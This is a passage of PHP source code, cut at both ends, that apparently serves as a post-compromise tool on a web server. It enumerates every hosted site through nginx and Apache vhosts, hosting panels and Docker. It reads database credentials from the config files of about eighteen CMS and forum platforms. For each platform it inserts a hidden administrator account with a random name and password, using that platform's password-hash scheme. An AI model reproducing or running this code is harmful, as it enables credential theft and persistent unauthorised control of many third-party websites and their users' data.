RecursiveCallbackFilterIterator( new RecursiveDirectoryIterator($dr, RecursiveDirectoryIterator::SKIP_DOTS), function ($current) use ($SKIP_DIRS) { if ($current->isDir()) { if (in_array($current->getFilename(), $SKIP_DIRS)) return false; if (!$current->isReadable()) return false; } return true; } ), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD ); $it->setMaxDepth($maxDepth); } catch (\Throwable $e) { return null; } foreach ($it as $fi) { try { if (!$fi->isDir() || !$fi->isReadable()) continue; $subdir = $fi->getPathname(); if ($subdir === $dr) continue; $result = dcms_check_self($subdir); if ($result) return $result; } catch (\Throwable $e) { continue; } } return null; } function dcms_check_self($dr) { if (!$dr || !is_dir($dr) || !is_readable($dr)) return null; $w = "{$dr}/wp-config.php"; if (is_file($w) && is_readable($w)) { $d = rf($w); if ($d && strpos($d, 'DB_NAME') !== false) return ['cm' => 'WordPress', 'cc' => $w, 'dn' => pdef($d, 'DB_NAME'), 'du' => pdef($d, 'DB_USER'), 'dp' => pdef($d, 'DB_PASSWORD'), 'dh' => pdef($d, 'DB_HOST')]; } $le = "{$dr}/.env"; if (is_file($le) && is_readable($le)) { $d = rf($le); if ($d && strpos($d, 'APP_KEY') !== false && strpos($d, 'DB_DATABASE') !== false) { $env = []; foreach (explode("\n", $d) as $line) { $line = trim($line); if ($line && $line[0] !== '#' && strpos($line, '=') !== false) { list($k, $v) = explode('=', $line, 2); $env[trim($k)] = trim(trim($v), '"\''); } } return ['cm' => 'Laravel', 'cc' => $le, 'dn' => $env['DB_DATABASE'] ?? '', 'du' => $env['DB_USERNAME'] ?? '', 'dp' => $env['DB_PASSWORD'] ?? '', 'dh' => $env['DB_HOST'] ?? '127.0.0.1']; } } $jc = "{$dr}/configuration.php"; if (is_file($jc) && is_readable($jc)) { $d = rf($jc); if ($d && (strpos($d, 'JConfig') !== false || stripos($d, 'joomla') !== false)) return ['cm' => 'Joomla', 'cc' => $jc, 'dn' => pvar($d, '\\$db\\s*='), 'du' => pvar($d, '\\$user\\s*='), 'dp' => pvar($d, '\\$password\\s*='), 'dh' => pvar($d, '\\$host\\s*=')]; } $dc = "{$dr}/sites/default/settings.php"; if (is_file($dc) && is_readable($dc)) { $d = rf($dc); if ($d && strpos($d, 'databases') !== false) return ['cm' => 'Drupal', 'cc' => $dc, 'dn' => parr($d, 'database'), 'du' => parr($d, 'username'), 'dp' => parr($d, 'password'), 'dh' => parr($d, 'host')]; } foreach (["{$dr}/bitrix/.settings.php", "{$dr}/bitrix/php_interface/dbconn.php"] as $bs) { if (is_file($bs) && is_readable($bs)) { $d = rf($bs); if ($d && (strpos($d, 'database') !== false || strpos($d, 'DBHost') !== false)) { $dn = parr($d, 'database') ?: pvar($d, '\\$DBName\\s*='); $du = parr($d, 'login') ?: pvar($d, '\\$DBLogin\\s*='); $dp = parr($d, 'password') ?: pvar($d, '\\$DBPassword\\s*='); $dh = parr($d, 'host') ?: pvar($d, '\\$DBHost\\s*='); if ($dn) return ['cm' => 'Bitrix', 'cc' => $bs, 'dn' => $dn, 'du' => $du, 'dp' => $dp, 'dh' => $dh]; } } } foreach (["{$dr}/core/config/config.inc.php", "{$dr}/manager/includes/config.inc.php"] as $mc) { if (is_file($mc) && is_readable($mc)) { $d = rf($mc); if ($d && strpos($d, 'database') !== false) return ['cm' => 'MODX', 'cc' => $mc, 'dn' => pvar($d, '\\$dbase\\s*='), 'du' => pvar($d, '\\$database_user\\s*='), 'dp' => pvar($d, '\\$database_password\\s*='), 'dh' => pvar($d, '\\$database_server\\s*=')]; } } $oc = "{$dr}/config.php"; if (is_file($oc) && is_readable($oc)) { $d = rf($oc); if ($d && strpos($d, 'DB_DATABASE') !== false) return ['cm' => 'OpenCart', 'cc' => $oc, 'dn' => pdef($d, 'DB_DATABASE'), 'du' => pdef($d, 'DB_USERNAME'), 'dp' => pdef($d, 'DB_PASSWORD'), 'dh' => pdef($d, 'DB_HOSTNAME')]; } foreach (["{$dr}/app/config/parameters.php", "{$dr}/config/settings.inc.php"] as $ps) { if (is_file($ps) && is_readable($ps)) { $d = rf($ps); if ($d && strpos($d, '_DB_NAME_') !== false) return ['cm' => 'PrestaShop', 'cc' => $ps, 'dn' => pdef($d, '_DB_NAME_'), 'du' => pdef($d, '_DB_USER_'), 'dp' => pdef($d, '_DB_PASSWD_'), 'dh' => pdef($d, '_DB_SERVER_')]; } } $dle = "{$dr}/engine/data/dbconfig.php"; if (is_file($dle) && is_readable($dle)) { $d = rf($dle); if ($d) return ['cm' => 'DLE', 'cc' => $dle, 'dn' => pdef($d, 'DBNAME'), 'du' => pdef($d, 'DBUSER'), 'dp' => pdef($d, 'DBPASS'), 'dh' => pdef($d, 'DBHOST')]; } $phpbb = "{$dr}/config.php"; if (is_file($phpbb) && is_readable($phpbb)) { $d = rf($phpbb); if ($d && strpos($d, 'phpbb') !== false && strpos($d, 'dbhost') !== false) return ['cm' => 'phpBB', 'cc' => $phpbb, 'dn' => pvar($d, '\\$dbname\\s*='), 'du' => pvar($d, '\\$dbuser\\s*='), 'dp' => pvar($d, '\\$dbpasswd\\s*='), 'dh' => pvar($d, '\\$dbhost\\s*=')]; } $mybb = "{$dr}/inc/config.php"; if (is_file($mybb) && is_readable($mybb)) { $d = rf($mybb); if ($d && (strpos($d, 'mybb') !== false || (strpos($d, 'database') !== false && strpos($d, 'table_prefix') !== false))) return ['cm' => 'MyBB', 'cc' => $mybb, 'dn' => parr($d, 'database'), 'du' => parr($d, 'username'), 'dp' => parr($d, 'password'), 'dh' => parr($d, 'hostname')]; } $vb = "{$dr}/includes/config.php"; if (is_file($vb) && is_readable($vb)) { $d = rf($vb); if ($d && strpos($d, 'MasterServer') !== false) { preg_match("#\['dbname'\]\s*=\s*'([^']+)'#", $d, $mn); preg_match("#\['dbusername'\]\s*=\s*'([^']+)'#", $d, $mu); preg_match("#\['password'\]\s*=\s*'([^']*)'#", $d, $mp); preg_match("#\['servername'\]\s*=\s*'([^']+)'#", $d, $mh); return ['cm' => 'vBulletin', 'cc' => $vb, 'dn' => $mn[1] ?? '', 'du' => $mu[1] ?? '', 'dp' => $mp[1] ?? '', 'dh' => $mh[1] ?? 'localhost']; } } $xf = "{$dr}/src/config.php"; if (is_file($xf) && is_readable($xf)) { $d = rf($xf); if ($d && strpos($d, 'db') !== false && strpos($d, 'dbname') !== false) return ['cm' => 'XenForo', 'cc' => $xf, 'dn' => parr($d, 'dbname'), 'du' => parr($d, 'username'), 'dp' => parr($d, 'password'), 'dh' => parr($d, 'host')]; } $smf = "{$dr}/Settings.php"; if (is_file($smf) && is_readable($smf)) { $d = rf($smf); if ($d && strpos($d, 'db_name') !== false && strpos($d, 'db_server') !== false) return ['cm' => 'SMF', 'cc' => $smf, 'dn' => pvar($d, '\\$db_name\\s*='), 'du' => pvar($d, '\\$db_user\\s*='), 'dp' => pvar($d, '\\$db_passwd\\s*='), 'dh' => pvar($d, '\\$db_server\\s*=')]; } $ipb = "{$dr}/conf_global.php"; if (is_file($ipb) && is_readable($ipb)) { $d = rf($ipb); if ($d && strpos($d, 'sql_database') !== false) return ['cm' => 'IPB', 'cc' => $ipb, 'dn' => parr($d, 'sql_database'), 'du' => parr($d, 'sql_user'), 'dp' => parr($d, 'sql_pass'), 'dh' => parr($d, 'sql_host')]; } $fl = "{$dr}/config.php"; if (is_file($fl) && is_readable($fl)) { $d = rf($fl); if ($d && strpos($d, 'flarum') !== false) return ['cm' => 'Flarum', 'cc' => $fl, 'dn' => parr($d, 'database'), 'du' => parr($d, 'username'), 'dp' => parr($d, 'password'), 'dh' => parr($d, 'host')]; } $van = "{$dr}/conf/config.php"; if (is_file($van) && is_readable($van)) { $d = rf($van); if ($d && (strpos($d, 'Vanilla') !== false || strpos($d, 'Garden') !== false)) { preg_match("#'Dbname'\s*=>\s*'([^']+)'#", $d, $mn); preg_match("#'User'\s*=>\s*'([^']+)'#", $d, $mu); preg_match("#'Password'\s*=>\s*'([^']*)'#", $d, $mp); preg_match("#'Host'\s*=>\s*'([^']+)'#", $d, $mh); return ['cm' => 'Vanilla', 'cc' => $van, 'dn' => $mn[1] ?? '', 'du' => $mu[1] ?? '', 'dp' => $mp[1] ?? '', 'dh' => $mh[1] ?? 'localhost']; } } $fbb = "{$dr}/config.php"; if (is_file($fbb) && is_readable($fbb)) { $d = rf($fbb); if ($d && strpos($d, 'db_name') !== false && (strpos($d, 'flux') !== false || strpos($d, 'PUN') !== false)) return ['cm' => 'FluxBB', 'cc' => $fbb, 'dn' => pvar($d, '\\$db_name\\s*='), 'du' => pvar($d, '\\$db_username\\s*='), 'dp' => pvar($d, '\\$db_password\\s*='), 'dh' => pvar($d, '\\$db_host\\s*=')]; } return null; } function parseCmsConfig($cms, $cc) { $c = rf($cc); if (!$c) return null; switch ($cms) { case 'WordPress': $prefix = 'wp_'; if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]*)[\'"]/', $c, $m)) $prefix = $m[1]; return ['host' => pdef($c, 'DB_HOST') ?: 'localhost', 'database' => pdef($c, 'DB_NAME'), 'user' => pdef($c, 'DB_USER'), 'password' => pdef($c, 'DB_PASSWORD'), 'prefix' => $prefix]; case 'Joomla': return ['host' => pvar($c, '\\$host\\s*=') ?: 'localhost', 'database' => pvar($c, '\\$db\\s*='), 'user' => pvar($c, '\\$user\\s*='), 'password' => pvar($c, '\\$password\\s*='), 'prefix' => pvar($c, '\\$dbprefix\\s*=') ?: 'jos_']; case 'Drupal': return ['host' => parr($c, 'host') ?: 'localhost', 'database' => parr($c, 'database'), 'user' => parr($c, 'username'), 'password' => parr($c, 'password'), 'prefix' => parr($c, 'prefix') ?: '']; case 'Bitrix': $dn = parr($c, 'database') ?: pvar($c, '\\$DBName\\s*='); $du = parr($c, 'login') ?: pvar($c, '\\$DBLogin\\s*='); $dp = parr($c, 'password') ?: pvar($c, '\\$DBPassword\\s*='); $dh = parr($c, 'host') ?: pvar($c, '\\$DBHost\\s*='); return ['host' => $dh ?: 'localhost', 'database' => $dn, 'user' => $du, 'password' => $dp, 'prefix' => 'b_']; case 'MODX': $prefix = pvar($c, '\\$table_prefix\\s*=') ?: 'modx_'; return ['host' => pvar($c, '\\$database_server\\s*=') ?: 'localhost', 'database' => pvar($c, '\\$dbase\\s*='), 'user' => pvar($c, '\\$database_user\\s*='), 'password' => pvar($c, '\\$database_password\\s*='), 'prefix' => trim($prefix, '`')]; case 'OpenCart': return ['host' => pdef($c, 'DB_HOSTNAME') ?: 'localhost', 'database' => pdef($c, 'DB_DATABASE'), 'user' => pdef($c, 'DB_USERNAME'), 'password' => pdef($c, 'DB_PASSWORD'), 'prefix' => pdef($c, 'DB_PREFIX') ?: 'oc_']; case 'Laravel': $env = []; foreach (explode("\n", $c) as $line) { $line = trim($line); if ($line && $line[0] !== '#' && strpos($line, '=') !== false) { list($k, $v) = explode('=', $line, 2); $env[trim($k)] = trim(trim($v), '"\''); } } return ['host' => $env['DB_HOST'] ?? '127.0.0.1', 'database' => $env['DB_DATABASE'] ?? '', 'user' => $env['DB_USERNAME'] ?? '', 'password' => $env['DB_PASSWORD'] ?? '', 'prefix' => '', 'port' => $env['DB_PORT'] ?? null]; case 'PrestaShop': return ['host' => pdef($c, '_DB_SERVER_') ?: 'localhost', 'database' => pdef($c, '_DB_NAME_'), 'user' => pdef($c, '_DB_USER_'), 'password' => pdef($c, '_DB_PASSWD_'), 'prefix' => pdef($c, '_DB_PREFIX_') ?: 'ps_']; case 'DLE': return ['host' => pdef($c, 'DBHOST') ?: 'localhost', 'database' => pdef($c, 'DBNAME'), 'user' => pdef($c, 'DBUSER'), 'password' => pdef($c, 'DBPASS'), 'prefix' => pdef($c, 'PREFIX') ?: 'dle_']; case 'phpBB': return ['host' => pvar($c, '\\$dbhost\\s*=') ?: 'localhost', 'database' => pvar($c, '\\$dbname\\s*='), 'user' => pvar($c, '\\$dbuser\\s*='), 'password' => pvar($c, '\\$dbpasswd\\s*='), 'prefix' => pvar($c, '\\$table_prefix\\s*=') ?: 'phpbb_']; case 'MyBB': return ['host' => parr($c, 'hostname') ?: 'localhost', 'database' => parr($c, 'database'), 'user' => parr($c, 'username'), 'password' => parr($c, 'password'), 'prefix' => parr($c, 'table_prefix') ?: 'mybb_']; case 'vBulletin': preg_match("#\['dbname'\]\s*=\s*'([^']+)'#", $c, $mn); preg_match("#\['dbusername'\]\s*=\s*'([^']+)'#", $c, $mu); preg_match("#\['password'\]\s*=\s*'([^']*)'#", $c, $mp); preg_match("#\['servername'\]\s*=\s*'([^']+)'#", $c, $mh); preg_match("#\['tableprefix'\]\s*=\s*'([^']*)'#", $c, $mt); return ['host' => $mh[1] ?? 'localhost', 'database' => $mn[1] ?? '', 'user' => $mu[1] ?? '', 'password' => $mp[1] ?? '', 'prefix' => $mt[1] ?? '']; case 'XenForo': return ['host' => parr($c, 'host') ?: 'localhost', 'database' => parr($c, 'dbname'), 'user' => parr($c, 'username'), 'password' => parr($c, 'password'), 'prefix' => 'xf_']; case 'SMF': return ['host' => pvar($c, '\\$db_server\\s*=') ?: 'localhost', 'database' => pvar($c, '\\$db_name\\s*='), 'user' => pvar($c, '\\$db_user\\s*='), 'password' => pvar($c, '\\$db_passwd\\s*='), 'prefix' => pvar($c, '\\$db_prefix\\s*=') ?: 'smf_']; case 'IPB': return ['host' => parr($c, 'sql_host') ?: 'localhost', 'database' => parr($c, 'sql_database'), 'user' => parr($c, 'sql_user'), 'password' => parr($c, 'sql_pass'), 'prefix' => parr($c, 'sql_tbl_prefix') ?: '']; case 'Flarum': return ['host' => parr($c, 'host') ?: 'localhost', 'database' => parr($c, 'database'), 'user' => parr($c, 'username'), 'password' => parr($c, 'password'), 'prefix' => parr($c, 'prefix') ?: '']; case 'Vanilla': preg_match("#'Dbname'\s*=>\s*'([^']+)'#", $c, $mn); preg_match("#'User'\s*=>\s*'([^']+)'#", $c, $mu); preg_match("#'Password'\s*=>\s*'([^']*)'#", $c, $mp); preg_match("#'Host'\s*=>\s*'([^']+)'#", $c, $mh); return ['host' => $mh[1] ?? 'localhost', 'database' => $mn[1] ?? '', 'user' => $mu[1] ?? '', 'password' => $mp[1] ?? '', 'prefix' => 'GDN_']; case 'FluxBB': return ['host' => pvar($c, '\\$db_host\\s*=') ?: 'localhost', 'database' => pvar($c, '\\$db_name\\s*='), 'user' => pvar($c, '\\$db_username\\s*='), 'password' => pvar($c, '\\$db_password\\s*='), 'prefix' => pvar($c, '\\$db_prefix\\s*=') ?: '']; default: return null; } } function generateHash($cms, $pass, $opts = []) { switch ($cms) { case 'WordPress': case 'Joomla': case 'Drupal': case 'MODX': case 'Bitrix': case 'Laravel': case 'phpBB': case 'IPB': case 'Flarum': case 'Vanilla': case 'XenForo': return ['hash' => password_hash($pass, PASSWORD_BCRYPT, ['cost' => 10]), 'salt' => '']; case 'OpenCart': $salt = $opts['salt'] ?? bin2hex(random_bytes(9)); return ['hash' => sha1($salt . sha1($salt . sha1($pass))), 'salt' => $salt]; case 'PrestaShop': $key = $opts['cookie_key'] ?? ''; return ['hash' => md5($key . $pass), 'salt' => '']; case 'DLE': return ['hash' => md5(md5($pass)), 'salt' => '']; case 'MyBB': $salt = $opts['salt'] ?? bin2hex(random_bytes(4)); return ['hash' => md5(md5($salt) . md5($pass)), 'salt' => $salt]; case 'vBulletin': $salt = $opts['salt'] ?? bin2hex(random_bytes(3)); return ['hash' => md5(md5($pass) . $salt), 'salt' => $salt]; case 'SMF': $username = $opts['username'] ?? 'admin'; return ['hash' => sha1(strtolower($username) . $pass), 'salt' => '']; case 'FluxBB': return ['hash' => sha1($pass), 'salt' => '']; default: return ['hash' => password_hash($pass, PASSWORD_BCRYPT), 'salt' => '']; } } function addAdminToSite(&$site) { $cms = $site['cms']; $cc = $site['cms_config']; if (!$cms || !$cc) return false; $supported = ['WordPress', 'Joomla', 'Drupal', 'MODX', 'Bitrix', 'OpenCart', 'Laravel', 'PrestaShop', 'DLE', 'phpBB', 'MyBB', 'vBulletin', 'XenForo', 'SMF', 'IPB', 'Flarum', 'Vanilla', 'FluxBB']; if (!in_array($cms, $supported)) return false; $config = parseCmsConfig($cms, $cc); if (!$config || !$config['database'] || !$config['user']) return false; $user = 'adm_' . bin2hex(random_bytes(3)); $chars = 'abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789!@#$%'; $pass = ''; for ($i = 0; $i < 14; $i++) $pass .= $chars[random_int(0, strlen($chars) - 1)]; $email = $user . '@local.host'; $opts = []; if ($cms === 'PrestaShop') { $c = rf($cc); if (preg_match("/define\s*\(\s*['\"]_COOKIE_KEY_['\"]\s*,\s*['\"]([^'\"]*?)['\"]/", $c, $m)) $opts['cookie_key'] = $m[1]; } if ($cms === 'OpenCart' || $cms === 'MyBB' || $cms === 'vBulletin') { $opts['salt'] = bin2hex(random_bytes(5)); } if ($cms === 'SMF') { $opts['username'] = $user; } $h = generateHash($cms, $pass, $opts); $p = $config['prefix']; try { $dsn = "mysql:host={$config['host']};dbname={$config['database']};charset=utf8mb4"; if (!empty($config['port'])) $dsn .= ";port={$config['port']}"; $pdo = new PDO($dsn, $config['user'], $config['password'], [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_TIMEOUT => 5 ]); $ok = false; switch ($cms) { case 'WordPress': $st = $pdo->prepare("INSERT INTO {$p}users (user_login, user_pass, user_email, user_registered, user_status, user_nicename, display_name) VALUES (?, ?, ?, NOW(), 0, ?, ?)"); $st->execute([$user, $h['hash'], $email, $user, $user]); $uid = $pdo->lastInsertId(); $pdo->prepare("INSERT INTO {$p}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)")->execute([$uid, "{$p}capabilities", 'a:1:{s:13:"administrator";b:1;}']); $pdo->prepare("INSERT INTO {$p}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)")->execute([$uid, "{$p}user_level", '10']); $ok = true; break; case 'Joomla': $st = $pdo->prepare("INSERT INTO {$p}users (name, username, email, password, block, registerDate, params) VALUES (?, ?, ?, ?, 0, NOW(), '{}')"); $st->execute([$user, $user, $email, $h['hash']]); $uid = $pdo->lastInsertId(); $pdo->prepare("INSERT INTO {$p}user_usergroup_map (user_id, group_id) VALUES (?, 8)")->execute([$uid]); $ok = true; break; case 'Drupal': $now = time(); $st = $pdo->prepare("INSERT INTO {$p}users_field_data (langcode, preferred_langcode, name, pass, mail, status, created, changed, access, login) VALUES ('en', 'en', ?, ?, ?, 1, ?, ?, 0, 0)"); $st->execute([$user, $h['hash'], $email, $now, $now]); $uid = $pdo->lastInsertId(); $pdo->prepare("INSERT INTO {$p}user__roles (bundle, deleted, entity_id, revision_id, langcode, delta, roles_target_id) VALUES ('user', 0, ?, ?, 'en', 0, 'administrator')")->execute([$uid, $uid]); $ok = true; break; case 'MODX': $st = $pdo->prepare("INSERT INTO {$p}users (username, password, salt, class_key, active, createdon) VALUES (?, ?, '', 'modUser', 1, NOW())"); $st->execute([$user, $h['hash']]); $uid = $pdo->lastInsertId(); $pdo->prepare("INSERT INTO {$p}user_attributes (internalKey, email, role) VALUES (?, ?, 1)")->execute([$uid, $email]); $pdo->prepare("INSERT INTO {$p}member_groups (member, member_group, role) VALUES (?, 1, 1)")->execute([$uid]); $ok = true; break; case 'Bitrix': $st = $pdo->prepare("INSERT INTO b_user (LOGIN, PASSWORD, EMAIL, ACTIVE, DATE_REGISTER, NAME, LID) VALUES (?, ?, ?, 'Y', NOW(), ?, 'ru')"); $st->execute([$user, $h['hash'], $email, $user]); $uid = $pdo->lastInsertId(); $pdo->prepare("INSERT INTO b_user_group (USER_ID, GROUP_ID) VALUES (?, 1)")->execute([$uid]); $ok = true; break; case 'OpenCart': $st = $pdo->prepare("INSERT INTO {$p}user (username, password, salt, firstname, lastname, email, user_group_id, status, date_added) VALUES (?, ?, ?, 'Admin', 'User', ?, 1, 1, NOW())"); $st->execute([$user, $h['hash'], $h['salt'], $email]); $ok = true; break; case 'Laravel': $st = $pdo->prepare("INSERT INTO users (name, email, password, email_verified_at, created_at, updated_at) VALUES (?, ?, ?, NOW(), NOW(), NOW())"); $st->execute([$user, $email, $h['hash']]); $uid = $pdo->lastInsertId(); try { $pdo->prepare("INSERT INTO model_has_roles (role_id, model_type, model_id) VALUES (1, 'App\\\\Models\\\\User', ?)")->execute([$uid]); } catch (\Throwable $e) { try { $pdo->prepare("INSERT INTO role_user (role_id, user_id) VALUES (1, ?)")->execute([$uid]); } catch (\Throwable $e2) {} } $ok = true; break; case 'PrestaShop': $st = $pdo->prepare("INSERT INTO {$p}employee (firstname, lastname, email, passwd, id_profile, id_lang, active, bo_theme, last_connection_date) VALUES ('Admin', 'User', ?, ?, 1, 1, 1, 'default', CURDATE())"); $st->execute([$email, $h['hash']]); $ok = true; break; case 'DLE': $st = $pdo->prepare("INSERT INTO {$p}users (name, password, email, user_group, reg_date, lastdate, info, signature, favorites, xfields) VALUES (?, ?, ?, 1, NOW(), NOW(), '', '', '', '')"); $st->execute([$user, $h['hash'], $email]); $ok = true; break; case 'phpBB': $now = time(); $st = $pdo->prepare("INSERT INTO {$p}users (username, username_clean, user_password, user_email, user_type, group_id, user_regdate, user_lastvisit, user_permissions, user_sig, user_occ, user_interests) VALUES (?, ?, ?, ?, 3, 5, ?, ?, '', '', '', '')"); $st->execute([$user, strtolower($user), $h['hash'], $email, $now, $now]); $uid = $pdo->lastInsertId(); $pdo->prepare("INSERT INTO {$p}user_group (group_id, user_id, group_leader, user_pending) VALUES (5, ?, 0, 0)")->execute([$uid]); $ok = true; break; case 'MyBB': $now = time(); $st = $pdo->prepare("INSERT INTO {$p}users (username, password, salt, email, usergroup, regdate, lastvisit, signature, avatar, usertitle) VALUES (?, ?, ?, ?, 4, ?, ?, '', '', 'Administrator')"); $st->execute([$user, $h['hash'], $h['salt'], $email, $now, $now]); $ok = true; break; case 'vBulletin': $now = time(); $st = $pdo->prepare("INSERT INTO {$p}user (username, password, salt, email, usergroupid, joindate, lastvisit, lastactivity, options) VALUES (?, ?, ?, ?, 6, ?, ?, ?, 45108311)"); $st->execute([$user, $h['hash'], $h['salt'], $email, $now, $now, $now]); $ok = true; break; case 'XenForo': $now = time(); $st = $pdo->prepare("INSERT INTO xf_user (username, email, user_group_id, is_admin, is_moderator, is_staff, register_date, last_activity, user_state) VALUES (?, ?, 3, 1, 1, 1, ?, ?, 'valid')"); $st->execute([$user, $email, $now, $now]); $uid = $pdo->lastInsertId(); $pdo->prepare("INSERT INTO xf_user_authenticate (user_id, scheme_class, data) VALUES (?, 'XF:Core12', ?)")->execute([$uid, serialize(['hash' => $h['hash']])]); $pdo->prepare("INSERT INTO xf_admin (user_id, extra_user_group_ids, last_login, permission_cache, admin_language_id) VALUES (?, '', ?, '', 0)")->execute([$uid, $now]); $ok = true; break; case 'SMF': $now = time(); $st = $pdo->prepare("INSERT INTO {$p}members (member_name, real_name, passwd, email_address, id_group, date_registered, last_login, buddy_list, signature, personal_text, avatar, lngfile, member_ip, member_ip2) VALUES (?, ?, ?, ?, 1, ?, ?, '', '', '', '', '', '127.0.0.1', '127.0.0.1')"); $st->execute([$user, $user, $h['hash'], $email, $now, $now]); $ok = true; break; case 'IPB': $now = time(); $st = $pdo->prepare("INSERT INTO {$p}core_members (name, members_display_name, members_pass_hash, members_pass_salt, email, member_group_id, joined, last_visit, last_activity, ip_address) VALUES (?, ?, ?, '', ?, 4, ?, ?, ?, '127.0.0.1')"); $st->execute([$user, $user, $h['hash'], $email, $now, $now, $now]); $ok = true; break; case 'Flarum': $st = $pdo->prepare("INSERT INTO {$p}users (username, password, email, is_email_confirmed, joined_at, last_seen_at) VALUES (?, ?, ?, 1, NOW(), NOW())"); $st->execute([$user, $h['hash'], $email]); $uid = $pdo->lastInsertId(); $pdo->prepare("INSERT INTO {$p}group_user (user_id, group_id) VALUES (?, 1)")->execute([$uid]); $ok = true; break; case 'Vanilla': $st = $pdo->prepare("INSERT INTO {$p}User (Name, Password, HashMethod, Email, Admin, Verified, DateInserted, DateLastActive) VALUES (?, ?, 'bcrypt', ?, 1, 1, NOW(), NOW())"); $st->execute([$user, $h['hash'], $email]); $ok = true; break; case 'FluxBB': $now = time(); $st = $pdo->prepare("INSERT INTO {$p}users (username, password, email, group_id, registered, last_visit, signature, admin_note) VALUES (?, ?, ?, 1, ?, ?, '', '')"); $st->execute([$user, $h['hash'], $email, $now, $now]); $ok = true; break; } if ($ok) { $site['added_user'] = $user; $site['added_pass'] = $pass; return true; } } catch (\Throwable $e) { return false; } return false; } function scan_nginx() { global $R; $confs = []; $dirs = ['/etc/nginx/sites-enabled', '/etc/nginx/conf.d', '/usr/local/nginx/conf/vhosts']; foreach ($dirs as $d) { if (!is_dir($d) || !is_readable($d)) continue; foreach (sl($d) as $f) { if ($f === '.' || $f === '..') continue; $path = "{$d}/{$f}"; if (is_file($path) && is_readable($path)) $confs[] = $path; } } foreach ($confs as $cf) { $data = rf($cf); if (!$data) continue; $blocks = []; if (preg_match_all('/server\s*\{/i', $data, $m, PREG_OFFSET_CAPTURE)) { foreach ($m[0] as $match) { $start = $match[1]; $depth = 0; $end = $start; for ($i = $start; $i < strlen($data); $i++) { if ($data[$i] === '{') $depth++; if ($data[$i] === '}') { $depth--; if ($depth === 0) { $end = $i; break; } } } $blocks[] = substr($data, $start, $end - $start + 1); } } if (empty($blocks)) $blocks = [$data]; foreach ($blocks as $block) { if (preg_match_all('/server_name\s+([^;]+);/i', $block, $names) && preg_match('/root\s+([^;]+);/i', $block, $root)) { $docroot = trim($root[1]); foreach ($names[1] as $nameList) { foreach (preg_split('/\s+/', trim($nameList)) as $domain) { $domain = trim($domain); if (!$domain || $domain === '_' || $domain === 'localhost' || strpos($domain, '*') !== false) continue; ar($domain, $docroot, ['web_config' => $cf, 'source' => 'nginx']); } } } } } } function scan_apache() { global $R; $confs = []; $dirs = ['/etc/apache2/sites-enabled', '/etc/httpd/conf.d', '/etc/httpd/conf/vhosts', '/etc/apache2/conf.d']; foreach ($dirs as $d) { if (!is_dir($d) || !is_readable($d)) continue; foreach (sl($d) as $f) { if ($f === '.' || $f === '..') continue; $path = "{$d}/{$f}"; if (is_file($path) && is_readable($path)) $confs[] = $path; } } foreach ($confs as $cf) { $data = rf($cf); if (!$data) continue; if (preg_match_all('#<VirtualHost[^>]*>(.*?)</VirtualHost>#is', $data, $vhosts)) { foreach ($vhosts[1] as $vhost) { $docroot = ''; if (preg_match('/DocumentRoot\s+["\']?([^\s"\']+)/i', $vhost, $dr)) { $docroot = trim($dr[1], '"\''); } if (!$docroot) continue; $domains = []; if (preg_match_all('/ServerName\s+(\S+)/i', $vhost, $sn)) { $domains = array_merge($domains, $sn[1]); } if (preg_match_all('/ServerAlias\s+(.+)/i', $vhost, $sa)) { foreach ($sa[1] as $aliasList) { $domains = array_merge($domains, preg_split('/\s+/', trim($aliasList))); } } foreach ($domains as $domain) { $domain = trim($domain); if (!$domain || $domain === 'localhost' || strpos($domain, '*') !== false) continue; ar($domain, $docroot, ['web_config' => $cf, 'source' => 'apache']); } } } } } function scan_panels() { global $R; $isp_dir = '/var/www'; if (is_dir($isp_dir) && is_readable($isp_dir)) { foreach (sl($isp_dir) as $u) { if ($u === '.' || $u === '..' || $u === 'html') continue; $data_dir = "{$isp_dir}/{$u}/data/www"; if (!is_dir($data_dir) || !is_readable($data_dir)) continue; foreach (sl($data_dir) as $domain) { if ($domain === '.' || $domain === '..') continue; $docroot = "{$data_dir}/{$domain}"; if (is_dir($docroot)) { ar($domain, $docroot, ['source' => 'ispmanager']); } } } } if (is_dir('/home') && is_readable('/home')) { foreach (sl('/home') as $u) { if ($u === '.' || $u === '..') continue; $web_dir = "/home/{$u}/web"; if (!is_dir($web_dir) || !is_readable($web_dir)) continue; foreach (sl($web_dir) as $domain) { if ($domain === '.' || $domain === '..') continue; $docroot = "{$web_dir}/{$domain}/public_html"; if (is_dir($docroot)) { ar($domain, $docroot, ['source' => 'vesta/hestia']); } } } } if (is_dir('/home') && is_readable('/home')) { foreach (sl('/home') as $u) { if ($u === '.' || $u === '..') continue; $pub = "/home/{$u}/public_html"; if (is_dir($pub) && is_readable($pub) && strpos($u, '.') !== false) { ar($u, $pub, ['source' => 'cyberpanel']); } } } $plesk = '/var/www/vhosts'; if (is_dir($plesk) && is_readable($plesk)) { foreach (sl($plesk) as $domain) { if ($domain === '.' || $domain === '..' || $domain === 'default' || $domain === '.skel') continue; $docroot = "{$plesk}/{$domain}/httpdocs"; if (is_dir($docroot)) { ar($domain, $docroot, ['source' => 'plesk']); } } } } function scan_ssl() { global $R; $le_dir = '/etc/letsencrypt/live'; if (!is_dir($le_dir) || !is_readable($le_dir)) return; foreach (sl($le_dir) as $d) { if ($d === '.' || $d === '..' || $d === 'README') continue; if (isset($R[$d])) $R[$d]['ssl'] = 'letsencrypt'; } } function scan_docker() { global $R; if (!function_exists('proc_open')) return; $out = rc('docker ps --format "{{.Names}}|{{.Image}}|{{.Labels}}" 2>/dev/null'); if (!$out) return; foreach (explode("\n", trim($out)) as $line) { $parts = explode('|', $line); if (count($parts) < 2) continue; $name = $parts[0]; $image = $parts[1]; if (preg_match('/(wordpress|joomla|drupal|prestashop|opencart)/i', $image)) { $inspect = rc("docker inspect --format '{{range .Mounts}}{{.Source}}|{{.Destination}}{{\"\\n\"}}{{end}}' " . escapeshellarg($name) . " 2>/dev/null"); if ($inspect) { foreach (explode("\n", trim($inspect)) as $mount) { $mp = explode('|', $mount); if (count($mp) >= 2 && (strpos($mp[1], '/var/www') !== false || strpos($mp[1], '/app') !== false)) { ar($name, $mp[0], ['source' => 'docker']); } } } } } } function scan_fs() { global $R; $srs = ['/home', '/var/www', '/srv', 